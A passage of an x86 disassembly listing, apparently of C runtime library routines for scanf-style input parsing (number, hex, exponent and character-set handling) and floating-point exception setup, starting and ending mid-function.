mov eax, off_43CE78
mov al, [eax+ebx*2]
and eax, 4
loc_42107F: ; CODE XREF: sub_420DB0+2C2j
test eax, eax
jz short loc_4210A4
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_4210A4
inc [ebp+var_1C]
mov [esi], bl
inc esi
inc [ebp+var_4]
push edi
call sub_42180C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_42105F
; ---------------------------------------------------------------------------
loc_4210A4: ; CODE XREF: sub_420DB0+2D1j
; sub_420DB0+2DBj
cmp byte_43D088, bl
jnz short loc_421112
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_421112
inc [ebp+var_4]
push edi
call sub_42180C
mov ebx, eax
mov al, byte_43D088
mov [esi], al
pop ecx
mov [ebp+var_14], ebx
inc esi
loc_4210CD: ; CODE XREF: sub_420DB0+360j
cmp dword_43D084, 1
jle short loc_4210E2
push 4
push ebx
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_4210ED
; ---------------------------------------------------------------------------
loc_4210E2: ; CODE XREF: sub_420DB0+324j
mov eax, off_43CE78
mov al, [eax+ebx*2]
and eax, 4
loc_4210ED: ; CODE XREF: sub_420DB0+330j
test eax, eax
jz short loc_421112
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_421112
inc [ebp+var_1C]
mov [esi], bl
inc esi
inc [ebp+var_4]
push edi
call sub_42180C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_4210CD
; ---------------------------------------------------------------------------
loc_421112: ; CODE XREF: sub_420DB0+2FAj
; sub_420DB0+304j ...
cmp [ebp+var_1C], 0
jz loc_4211AA
cmp ebx, 65h
jz short loc_42112A
cmp ebx, 45h
jnz loc_4211AA
loc_42112A: ; CODE XREF: sub_420DB0+36Fj
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_4211AA
mov byte ptr [esi], 65h
inc esi
inc [ebp+var_4]
push edi
call sub_42180C
mov ebx, eax
pop ecx
cmp ebx, 2Dh
mov [ebp+var_14], ebx
jnz short loc_421151
mov [esi], al
inc esi
jmp short loc_421156
; ---------------------------------------------------------------------------
loc_421151: ; CODE XREF: sub_420DB0+39Aj
cmp ebx, 2Bh
jnz short loc_421174
loc_421156: ; CODE XREF: sub_420DB0+39Fj
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jnz short loc_421165
and [ebp+var_C], eax
jmp short loc_421174
; ---------------------------------------------------------------------------
loc_421165: ; CODE XREF: sub_420DB0+3AEj
; sub_420DB0+3F8j
inc [ebp+var_4]
push edi
call sub_42180C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_421174: ; CODE XREF: sub_420DB0+3A4j
; sub_420DB0+3B3j
cmp dword_43D084, 1
jle short loc_421189
push 4
push ebx
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_421194
; ---------------------------------------------------------------------------
loc_421189: ; CODE XREF: sub_420DB0+3CBj
mov eax, off_43CE78
mov al, [eax+ebx*2]
and eax, 4
loc_421194: ; CODE XREF: sub_420DB0+3D7j
test eax, eax
jz short loc_4211AA
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_4211AA
inc [ebp+var_1C]
mov [esi], bl
inc esi
jmp short loc_421165
; ---------------------------------------------------------------------------
loc_4211AA: ; CODE XREF: sub_420DB0+366j
; sub_420DB0+374j ...
dec [ebp+var_4]
push edi
push ebx
call sub_421826
cmp [ebp+var_1C], 0
pop ecx
pop ecx
jz loc_4217B6
cmp [ebp+var_E], 0
jnz loc_421717
inc [ebp+var_34]
and byte ptr [esi], 0
lea eax, [ebp+var_1C4]
push eax
movsx eax, [ebp+var_D]
push [ebp+var_2C]
dec eax
push eax
call off_43D428
add esp, 0Ch
jmp loc_421717
; ---------------------------------------------------------------------------
loc_4211EE: ; CODE XREF: sub_420DB0+20Cj
cmp [ebp+var_20], eax
jnz short loc_4211FD
inc [ebp+var_C]
mov [ebp+var_20], 1
loc_4211FD: ; CODE XREF: sub_420DB0+441j
cmp [ebp+var_5], 0
jle short loc_421207
mov [ebp+var_16], 1
loc_421207: ; CODE XREF: sub_420DB0+451j
mov edi, offset dword_43D300
jmp loc_42131C
; ---------------------------------------------------------------------------
loc_421211: ; CODE XREF: sub_420DB0+1FDj
mov eax, esi
sub eax, 70h
jz loc_4214BF
sub eax, 3
jz loc_42130D
dec eax
dec eax
jz loc_4214C3
sub eax, 3
jz loc_420FF9
sub eax, 3
jz short loc_42125F
loc_42123B: ; CODE XREF: sub_420DB0+21Bj
; sub_420DB0+22Ej
movzx eax, byte ptr [ebx]
cmp eax, [ebp+var_14]
jnz loc_421786
dec [ebp+var_15]
cmp [ebp+var_E], 0
jnz loc_421717
mov eax, [ebp+var_44]
mov [ebp+arg_8], eax
jmp loc_421717
; ---------------------------------------------------------------------------
loc_42125F: ; CODE XREF: sub_420DB0+489j
cmp [ebp+var_5], 0
jle short loc_421269
mov [ebp+var_16], 1
loc_421269: ; CODE XREF: sub_420DB0+4B3j
mov edi, [ebp+arg_4]
inc edi
mov [ebp+arg_4], edi
cmp byte ptr [edi], 5Eh
jnz loc_421320
mov eax, edi
lea edi, [eax+1]
jmp loc_42131C
; ---------------------------------------------------------------------------
loc_421283: ; CODE XREF: sub_420DB0+24Fj
cmp ebx, 2Bh
jnz short loc_4212AA
loc_421288: ; CODE XREF: sub_420DB0+259j
dec [ebp+var_C]
jnz short loc_421299
cmp [ebp+var_20], 0
jz short loc_421299
mov [ebp+var_F], 1
jmp short loc_4212AA
; ---------------------------------------------------------------------------
loc_421299: ; CODE XREF: sub_420DB0+4DBj
; sub_420DB0+4E1j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42180C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_4212AA: ; CODE XREF: sub_420DB0+4D6j
; sub_420DB0+4E7j
cmp ebx, 30h
jnz loc_4214F8
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42180C
mov ebx, eax
pop ecx
cmp bl, 78h
mov [ebp+var_14], ebx
jz short loc_4212F8
cmp bl, 58h
jz short loc_4212F8
cmp esi, 78h
mov [ebp+var_1C], 1
jz short loc_4212E2
push 6Fh
loc_4212DC: ; CODE XREF: sub_420DB0+55Bj
pop esi
jmp loc_4214F8
; ---------------------------------------------------------------------------
loc_4212E2: ; CODE XREF: sub_420DB0+528j
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_421826
pop ecx
pop ecx
push 30h
pop ebx
jmp loc_4214F5
; ---------------------------------------------------------------------------
loc_4212F8: ; CODE XREF: sub_420DB0+517j
; sub_420DB0+51Cj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42180C
pop ecx
mov ebx, eax
mov [ebp+var_14], ebx
push 78h
jmp short loc_4212DC
; ---------------------------------------------------------------------------
loc_42130D: ; CODE XREF: sub_420DB0+46Fj
cmp [ebp+var_5], 0
jle short loc_421317
mov [ebp+var_16], 1
loc_421317: ; CODE XREF: sub_420DB0+561j
mov edi, offset dword_43D2F8
loc_42131C: ; CODE XREF: sub_420DB0+45Cj
; sub_420DB0+4CEj
or [ebp+var_18], 0FFh
loc_421320: ; CODE XREF: sub_420DB0+4C3j
push 20h
lea eax, [ebp+var_64]
push 0
push eax
call sub_41BF70
add esp, 0Ch
cmp [ebp+var_3C], 7Bh
jnz short loc_421344
cmp byte ptr [edi], 5Dh
jnz short loc_421344
mov dl, 5Dh
inc edi
mov [ebp+var_59], 20h
jmp short loc_421347
; ---------------------------------------------------------------------------
loc_421344: ; CODE XREF: sub_420DB0+584j
; sub_420DB0+589j
mov dl, [ebp+var_35]
loc_421347: ; CODE XREF: sub_420DB0+592j
; sub_420DB0+5E1j ...
mov al, [edi]
cmp al, 5Dh
jz short loc_4213AC
inc edi
cmp al, 2Dh
jnz short loc_421393
test dl, dl
jz short loc_421393
mov cl, [edi]
cmp cl, 5Dh
jz short loc_421393
inc edi
cmp dl, cl
jnb short loc_421366
mov al, cl
jmp short loc_42136A
; ---------------------------------------------------------------------------
loc_421366: ; CODE XREF: sub_420DB0+5B0j
mov al, dl
mov dl, cl
loc_42136A: ; CODE XREF: sub_420DB0+5B4j
cmp dl, al
ja short loc_42138F
movzx edx, dl
movzx esi, al
sub esi, edx
inc esi
loc_421377: ; CODE XREF: sub_420DB0+5DDj
mov ecx, edx
mov eax, edx
and ecx, 7
mov bl, 1
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_64]
or [eax], bl
inc edx
dec esi
jnz short loc_421377
loc_42138F: ; CODE XREF: sub_420DB0+5BCj
xor dl, dl
jmp short loc_421347
; ---------------------------------------------------------------------------
loc_421393: ; CODE XREF: sub_420DB0+5A0j
; sub_420DB0+5A4j ...
movzx ecx, al
mov dl, al
mov eax, ecx
and ecx, 7
mov bl, 1
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_64]
or [eax], bl
jmp short loc_421347
; ---------------------------------------------------------------------------
loc_4213AC: ; CODE XREF: sub_420DB0+59Bj
cmp byte ptr [edi], 0
jz loc_4217B6
cmp [ebp+var_3C], 7Bh
jnz short loc_4213BE
mov [ebp+arg_4], edi
loc_4213BE: ; CODE XREF: sub_420DB0+609j
mov edi, [ebp+arg_0]
mov esi, [ebp+var_2C]
dec [ebp+var_4]
push edi
push [ebp+var_14]
mov [ebp+var_30], esi
call sub_421826
pop ecx
pop ecx
loc_4213D5: ; CODE XREF: sub_420DB0+6BCj
; sub_420DB0+6C4j
cmp [ebp+var_20], 0
jz short loc_4213E9
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz loc_421485
loc_4213E9: ; CODE XREF: sub_420DB0+629j
inc [ebp+var_4]
push edi
call sub_42180C
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+var_14], eax
jz short loc_421479
mov ecx, eax
push 1
and ecx, 7
pop edx
movsx ebx, [ebp+var_18]
shl edx, cl
mov ecx, eax
sar ecx, 3
movsx ecx, [ebp+ecx+var_64]
xor ecx, ebx
test edx, ecx
jz short loc_421479
cmp [ebp+var_E], 0
jnz short loc_421471
cmp [ebp+var_16], 0
jz short loc_421466
mov ecx, off_43CE78
mov [ebp+var_38], al
movzx eax, al
test byte ptr [ecx+eax*2+1], 80h
jz short loc_421445
inc [ebp+var_4]
push edi
call sub_42180C
pop ecx
mov [ebp+var_37], al
loc_421445: ; CODE XREF: sub_420DB0+686j
push dword_43D084
lea eax, [ebp+var_38]
push eax
lea eax, [ebp+var_3E]
push eax
call sub_4246CB
mov ax, [ebp+var_3E]
add esp, 0Ch
mov [esi], ax
inc esi
inc esi
jmp short loc_421469
; ---------------------------------------------------------------------------
loc_421466: ; CODE XREF: sub_420DB0+673j
mov [esi], al
inc esi
loc_421469: ; CODE XREF: sub_420DB0+6B4j
mov [ebp+var_2C], esi
jmp loc_4213D5
; ---------------------------------------------------------------------------
loc_421471: ; CODE XREF: sub_420DB0+66Dj
inc [ebp+var_30]
jmp loc_4213D5
; ---------------------------------------------------------------------------
loc_421479: ; CODE XREF: sub_420DB0+649j
; sub_420DB0+667j
dec [ebp+var_4]
push edi
push eax
call sub_421826
pop ecx
pop ecx
loc_421485: ; CODE XREF: sub_420DB0+633j
cmp [ebp+var_30], esi
jz loc_4217B6
cmp [ebp+var_E], 0
jnz loc_421717
inc [ebp+var_34]
cmp [ebp+var_3C], 63h
jz loc_421717
cmp [ebp+var_16], 0
mov eax, [ebp+var_2C]
jz short loc_4214B7
and word ptr [eax], 0
jmp loc_421717
; ---------------------------------------------------------------------------
loc_4214B7: ; CODE XREF: sub_420DB0+6FCj
and byte ptr [eax], 0
jmp loc_421717
; ---------------------------------------------------------------------------
loc_4214BF: ; CODE XREF: sub_420DB0+466j
mov [ebp+var_D], 1
loc_4214C3: ; CODE XREF: sub_420DB0+203j
; sub_420DB0+215j ...
mov ebx, [ebp+var_14]
cmp ebx, 2Dh
jnz short loc_4214D1
mov [ebp+var_17], 1
jmp short loc_4214D6
; ---------------------------------------------------------------------------
loc_4214D1: ; CODE XREF: sub_420DB0+719j
cmp ebx, 2Bh
jnz short loc_4214F8
loc_4214D6: ; CODE XREF: sub_420DB0+71Fj
dec [ebp+var_C]
jnz short loc_4214E7
cmp [ebp+var_20], 0
jz short loc_4214E7
mov [ebp+var_F], 1
jmp short loc_4214F8
; ---------------------------------------------------------------------------
loc_4214E7: ; CODE XREF: sub_420DB0+729j
; sub_420DB0+72Fj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42180C
pop ecx
mov ebx, eax
loc_4214F5: ; CODE XREF: sub_420DB0+543j
mov [ebp+var_14], ebx
loc_4214F8: ; CODE XREF: sub_420DB0+4FDj
; sub_420DB0+52Dj ...
cmp [ebp+var_30], 0
jz loc_421611
cmp [ebp+var_F], 0
jnz loc_4215EF
loc_42150C: ; CODE XREF: sub_420DB0+82Cj
cmp esi, 78h
jnz short loc_421560
cmp dword_43D084, 1
jle short loc_421529
push 80h
push ebx
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_421536
; ---------------------------------------------------------------------------
loc_421529: ; CODE XREF: sub_420DB0+768j
mov eax, off_43CE78
mov al, [eax+ebx*2]
and eax, 80h
loc_421536: ; CODE XREF: sub_420DB0+777j
test eax, eax
jz loc_4215E1
mov eax, [ebp+var_28]
mov edx, [ebp+var_24]
push 4
pop ecx
call sub_4247A0
push ebx
mov [ebp+var_28], eax
mov [ebp+var_24], edx
call sub_4217D5
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_4215B3
; ---------------------------------------------------------------------------
loc_421560: ; CODE XREF: sub_420DB0+75Fj
cmp dword_43D084, 1
jle short loc_421575
push 4
push ebx
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_421580
; ---------------------------------------------------------------------------
loc_421575: ; CODE XREF: sub_420DB0+7B7j
mov eax, off_43CE78
mov al, [eax+ebx*2]
and eax, 4
loc_421580: ; CODE XREF: sub_420DB0+7C3j
test eax, eax
jz short loc_4215E1
cmp esi, 6Fh
jnz short loc_42159E
cmp ebx, 38h
jge short loc_4215E1
mov eax, [ebp+var_28]
mov edx, [ebp+var_24]
push 3
pop ecx
call sub_4247A0
jmp short loc_4215AD
; ---------------------------------------------------------------------------
loc_42159E: ; CODE XREF: sub_420DB0+7D7j
push 0
push 0Ah
push [ebp+var_24]
push [ebp+var_28]
call sub_41DB20
loc_4215AD: ; CODE XREF: sub_420DB0+7ECj
mov [ebp+var_28], eax
mov [ebp+var_24], edx
loc_4215B3: ; CODE XREF: sub_420DB0+7AEj
inc [ebp+var_1C]
lea eax, [ebx-30h]
cdq
add [ebp+var_28], eax
adc [ebp+var_24], edx
cmp [ebp+var_20], 0
jz short loc_4215CB
dec [ebp+var_C]
jz short loc_4215EF
loc_4215CB: ; CODE XREF: sub_420DB0+814j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42180C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp loc_42150C
; ---------------------------------------------------------------------------
loc_4215E1: ; CODE XREF: sub_420DB0+788j
; sub_420DB0+7D2j ...
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_421826
pop ecx
pop ecx
loc_4215EF: ; CODE XREF: sub_420DB0+756j
; sub_420DB0+819j
cmp [ebp+var_17], 0
jz loc_4216D5
mov eax, [ebp+var_28]
mov ecx, [ebp+var_24]
neg eax
adc ecx, 0
mov [ebp+var_28], eax
neg ecx
mov [ebp+var_24], ecx
jmp loc_4216D5
; ---------------------------------------------------------------------------
loc_421611: ; CODE XREF: sub_420DB0+74Cj
cmp [ebp+var_F], 0
jnz loc_4216CD
loc_42161B: ; CODE XREF: sub_420DB0+90Aj
cmp esi, 78h
jz short loc_42165F
cmp esi, 70h
jz short loc_42165F
cmp dword_43D084, 1
jle short loc_42163A
push 4
push ebx
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_421645
; ---------------------------------------------------------------------------
loc_42163A: ; CODE XREF: sub_420DB0+87Cj
mov eax, off_43CE78
mov al, [eax+ebx*2]
and eax, 4
loc_421645: ; CODE XREF: sub_420DB0+888j
test eax, eax
jz short loc_4216BF
cmp esi, 6Fh
jnz short loc_421658
cmp ebx, 38h
jge short loc_4216BF
shl edi, 3
jmp short loc_421697
; ---------------------------------------------------------------------------
loc_421658: ; CODE XREF: sub_420DB0+89Cj
lea edi, [edi+edi*4]
shl edi, 1
jmp short loc_421697
; ---------------------------------------------------------------------------
loc_42165F: ; CODE XREF: sub_420DB0+86Ej
; sub_420DB0+873j
cmp dword_43D084, 1
jle short loc_421677
push 80h
push ebx
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_421684
; ---------------------------------------------------------------------------
loc_421677: ; CODE XREF: sub_420DB0+8B6j
mov eax, off_43CE78
mov al, [eax+ebx*2]
and eax, 80h
loc_421684: ; CODE XREF: sub_420DB0+8C5j
test eax, eax
jz short loc_4216BF
push ebx
shl edi, 4
call sub_4217D5
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_421697: ; CODE XREF: sub_420DB0+8A6j
; sub_420DB0+8ADj
inc [ebp+var_1C]
cmp [ebp+var_20], 0
lea edi, [edi+ebx-30h]
jz short loc_4216A9
dec [ebp+var_C]
jz short loc_4216CD
loc_4216A9: ; CODE XREF: sub_420DB0+8F2j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42180C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp loc_42161B
; ---------------------------------------------------------------------------
loc_4216BF: ; CODE XREF: sub_420DB0+897j
; sub_420DB0+8A1j ...
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_421826
pop ecx
pop ecx
loc_4216CD: ; CODE XREF: sub_420DB0+865j
; sub_420DB0+8F7j
cmp [ebp+var_17], 0
jz short loc_4216D5
neg edi
loc_4216D5: ; CODE XREF: sub_420DB0+843j
; sub_420DB0+85Cj ...
cmp esi, 46h
jnz short loc_4216DE
and [ebp+var_1C], 0
loc_4216DE: ; CODE XREF: sub_420DB0+928j
cmp [ebp+var_1C], 0
jz loc_4217B6
cmp [ebp+var_E], 0
jnz short loc_421717
inc [ebp+var_34]
loc_4216F1: ; CODE XREF: sub_420DB0+23Bj
cmp [ebp+var_30], 0
jz short loc_421707
mov eax, [ebp+var_2C]
mov ecx, [ebp+var_28]
mov [eax], ecx
mov ecx, [ebp+var_24]
mov [eax+4], ecx
jmp short loc_421717
; ---------------------------------------------------------------------------
loc_421707: ; CODE XREF: sub_420DB0+945j
cmp [ebp+var_D], 0
mov eax, [ebp+var_2C]
jz short loc_421714
mov [eax], edi
jmp short loc_421717
; ---------------------------------------------------------------------------
loc_421714: ; CODE XREF: sub_420DB0+95Ej
mov [eax], di
loc_421717: ; CODE XREF: sub_420DB0+241j
; sub_420DB0+414j ...
inc [ebp+var_15]
inc [ebp+arg_4]
mov esi, [ebp+arg_4]
jmp short loc_421764
; ---------------------------------------------------------------------------
loc_421722: ; CODE XREF: sub_420DB0+93j
inc [ebp+var_4]
push edi
call sub_42180C
mov ebx, eax
pop ecx
movzx eax, byte ptr [esi]
inc esi
cmp eax, ebx
mov [ebp+var_14], ebx
mov [ebp+arg_4], esi
jnz short loc_421791
mov ecx, off_43CE78
movzx eax, bl
test byte ptr [ecx+eax*2+1], 80h
jz short loc_421764
inc [ebp+var_4]
push edi
call sub_42180C
pop ecx
movzx ecx, byte ptr [esi]
inc esi
cmp ecx, eax
mov [ebp+arg_4], esi
jnz short loc_42179F
dec [ebp+var_4]
loc_421764: ; CODE XREF: sub_420DB0+970j
; sub_420DB0+99Aj
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_42177A
cmp byte ptr [esi], 25h
jnz short loc_4217BC
mov eax, [ebp+arg_4]
cmp byte ptr [eax+1], 6Eh
jnz short loc_4217BC
mov esi, eax
loc_42177A: ; CODE XREF: sub_420DB0+9B8j
mov al, [esi]
test al, al
jnz loc_420DDA
jmp short loc_4217B6
; ---------------------------------------------------------------------------
loc_421786: ; CODE XREF: sub_420DB0+1F4j
; sub_420DB0+491j
push [ebp+arg_0]
dec [ebp+var_4]
push [ebp+var_14]
jmp short loc_421796
; ---------------------------------------------------------------------------
loc_421791: ; CODE XREF: sub_420DB0+98Aj
dec [ebp+var_4]
push edi
push ebx
loc_421796: ; CODE XREF: sub_420DB0+9DFj
call sub_421826
pop ecx
pop ecx
jmp short loc_4217B6
; ---------------------------------------------------------------------------
loc_42179F: ; CODE XREF: sub_420DB0+9AFj
dec [ebp+var_4]
push edi
push eax
call sub_421826
dec [ebp+var_4]
push edi
push ebx
call sub_421826
add esp, 10h
loc_4217B6: ; CODE XREF: sub_420DB0+1Fj
; sub_420DB0+40Aj ...
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_4217CD
loc_4217BC: ; CODE XREF: sub_420DB0+9BDj
; sub_420DB0+9C6j
mov eax, [ebp+var_34]
test eax, eax
jnz short loc_4217D0
cmp [ebp+var_15], al
jnz short loc_4217D0
or eax, 0FFFFFFFFh
jmp short loc_4217D0
; ---------------------------------------------------------------------------
loc_4217CD: ; CODE XREF: sub_420DB0+A0Aj
mov eax, [ebp+var_34]
loc_4217D0: ; CODE XREF: sub_420DB0+A11j
; sub_420DB0+A16j ...
pop edi
pop esi
pop ebx
leave
retn
sub_420DB0 endp
; =============== S U B R O U T I N E =======================================
sub_4217D5 proc near ; CODE XREF: sub_420DB0+7A3p
; sub_420DB0+8DCp
arg_0 = dword ptr 4
cmp dword_43D084, 1
push esi
jle short loc_4217EF
mov esi, [esp+4+arg_0]
push 4
push esi
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_4217FE
; ---------------------------------------------------------------------------
loc_4217EF: ; CODE XREF: sub_4217D5+8j
mov esi, [esp+4+arg_0]
mov eax, off_43CE78
mov al, [eax+esi*2]
and eax, 4
loc_4217FE: ; CODE XREF: sub_4217D5+18j
test eax, eax
jnz short loc_421808
and esi, 0FFFFFFDFh
sub esi, 7
loc_421808: ; CODE XREF: sub_4217D5+2Bj
mov eax, esi
pop esi
retn
sub_4217D5 endp
; =============== S U B R O U T I N E =======================================
sub_42180C proc near ; CODE XREF: sub_420DB0+1E1p
; sub_420DB0+289p ...
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
dec dword ptr [edx+4]
js short loc_42181E
mov ecx, [edx]
movzx eax, byte ptr [ecx]
inc ecx
mov [edx], ecx
retn
; ---------------------------------------------------------------------------
loc_42181E: ; CODE XREF: sub_42180C+7j
push edx
call sub_41F8E3
pop ecx
retn
sub_42180C endp
; =============== S U B R O U T I N E =======================================
sub_421826 proc near ; CODE XREF: sub_420DB0+6Bp
; sub_420DB0+3FFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0FFFFFFFFh
jz short locret_42183C
push [esp+arg_4]
push [esp+4+arg_0]
call sub_4247BF
pop ecx
pop ecx
locret_42183C: ; CODE XREF: sub_421826+5j
retn
sub_421826 endp
; =============== S U B R O U T I N E =======================================
sub_42183D proc near ; CODE XREF: sub_420DB0+63p
; sub_420DB0+1D3p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
loc_421843: ; CODE XREF: sub_42183D+1Dj
push [esp+8+arg_4]
inc dword ptr [esi]
call sub_42180C
mov edi, eax
push edi
call sub_41DF10
pop ecx
test eax, eax
pop ecx
jnz short loc_421843
mov eax, edi
pop edi
pop esi
retn
sub_42183D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __fastcall sub_421861(int,int,double,int)
sub_421861 proc near ; CODE XREF: sub_41D055+51p
; sub_41D19B+51p
var_1C = qword ptr -1Ch
var_14 = qword ptr -14h
var_C = qword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp dword_43D7F0, 0
jnz short loc_421896
push [ebp+arg_C] ; int
fld qword ptr [ebp+arg_4]
push ecx
push ecx ; double
fstp [esp+0Ch+var_C]
push ecx ; int
push ecx ; int
fldz
fstp [esp+14h+var_14]
fld qword ptr [ebp+arg_4]
push ecx ; int
push ecx ; int
fstp [esp+1Ch+var_1C]
push [ebp+arg_0] ; int
push 1 ; int
call sub_421E16
add esp, 24h
pop ebp
retn
; ---------------------------------------------------------------------------
loc_421896: ; CODE XREF: sub_421861+Aj
push 0FFFFh
mov dword_4DBDDC, 21h
push [ebp+arg_C]
call sub_422089
fld qword ptr [ebp+arg_4]
pop ecx
pop ecx
pop ebp
retn
sub_421861 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4218B4(int,int,double,double,int)
sub_4218B4 proc near ; CODE XREF: sub_41D055:loc_41D118p
; sub_41D19B:loc_41D25Ep
var_74 = qword ptr -74h
var_6C = qword ptr -6Ch
var_64 = qword ptr -64h
var_5C = dword ptr -5Ch
var_58 = byte ptr -58h
var_20 = dword ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = qword ptr 10h
arg_10 = qword ptr 18h
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 58h
push [ebp+arg_18]
lea eax, [ebp+arg_10]
push eax
push [ebp+arg_0]
call sub_421BFF
add esp, 0Ch
test eax, eax
jnz short loc_4218F2
lea eax, [ebp+arg_10]
and [ebp+var_20], 0FFFFFFFEh
push eax
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+arg_18]
push [ebp+arg_4]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_58]
push eax
call sub_42194C
add esp, 18h
loc_4218F2: ; CODE XREF: sub_4218B4+1Aj
push [ebp+arg_0]
call sub_421EE9
cmp dword_43D7F0, 0
pop ecx
jnz short loc_421930
test eax, eax
jz short loc_421930
push [ebp+arg_18] ; int
fld [ebp+arg_10]
push ecx
push ecx ; double
fstp [esp+64h+var_64]
push ecx ; int
push ecx ; int
fldz
fstp [esp+6Ch+var_6C]
fld [ebp+arg_8]
push ecx ; int
push ecx ; int
fstp [esp+74h+var_74]
push [ebp+arg_4] ; int
push eax ; int
call sub_421E16
add esp, 24h
leave
retn
; ---------------------------------------------------------------------------
loc_421930: ; CODE XREF: sub_4218B4+4Ej
; sub_4218B4+52j
push eax
call sub_421E9E
mov [esp+5Ch+var_5C], 0FFFFh
push [ebp+arg_18]
call sub_422089
fld [ebp+arg_10]
pop ecx
pop ecx
leave
retn
sub_4218B4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42194C proc near ; CODE XREF: sub_4218B4+36p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
mov ecx, [ebp+arg_0]
xor eax, eax
push ebx
push esi
mov [ecx+4], eax
mov ecx, [ebp+arg_0]
push edi
push 1
mov [ecx+8], eax
mov ecx, [ebp+arg_0]
pop ebx
mov [ecx+0Ch], eax
mov cl, byte ptr [ebp+arg_8]
test cl, 10h
jz short loc_42197E
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C000008Fh
or [eax+4], ebx
loc_42197E: ; CODE XREF: sub_42194C+23j
test cl, 2
jz short loc_421991
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000093h
or dword ptr [eax+4], 2
loc_421991: ; CODE XREF: sub_42194C+35j
test cl, bl
jz short loc_4219A3
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000091h
or dword ptr [eax+4], 4
loc_4219A3: ; CODE XREF: sub_42194C+47j
test cl, 4
jz short loc_4219B6
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C000008Eh
or dword ptr [eax+4], 8
loc_4219B6: ; CODE XREF: sub_42194C+5Aj
test cl, 8
jz short loc_4219C9
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000090h
or dword ptr [eax+4], 10h
loc_4219C9: ; CODE XREF: sub_42194C+6Dj
mov esi, [ebp+arg_4]
mov eax, [ebp+arg_0]
push 2
mov ecx, [esi]
mov edx, [eax+8]
not ecx
and ecx, ebx
and edx, 0FFFFFFEFh
shl ecx, 4
or ecx, edx
pop edi
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
and ecx, 4
shl ecx, 1
and edx, 0FFFFFFF7h
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 1
and ecx, 4
and edx, 0FFFFFFFBh
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 3
and ecx, edi
and edx, 0FFFFFFFDh
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 5
and ecx, ebx
and edx, 0FFFFFFFEh
or ecx, edx
mov [eax+8], ecx
call sub_42206C
test al, bl
jz short loc_421A52
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 10h
loc_421A52: ; CODE XREF: sub_42194C+FDj
test al, 4
jz short loc_421A5D
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 8
loc_421A5D: ; CODE XREF: sub_42194C+108j
test al, 8
jz short loc_421A68
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 4
loc_421A68: ; CODE XREF: sub_42194C+113j
test al, 10h
jz short loc_421A72
mov ecx, [ebp+arg_0]
or [ecx+0Ch], edi
loc_421A72: ; CODE XREF: sub_42194C+11Ej
test al, 20h
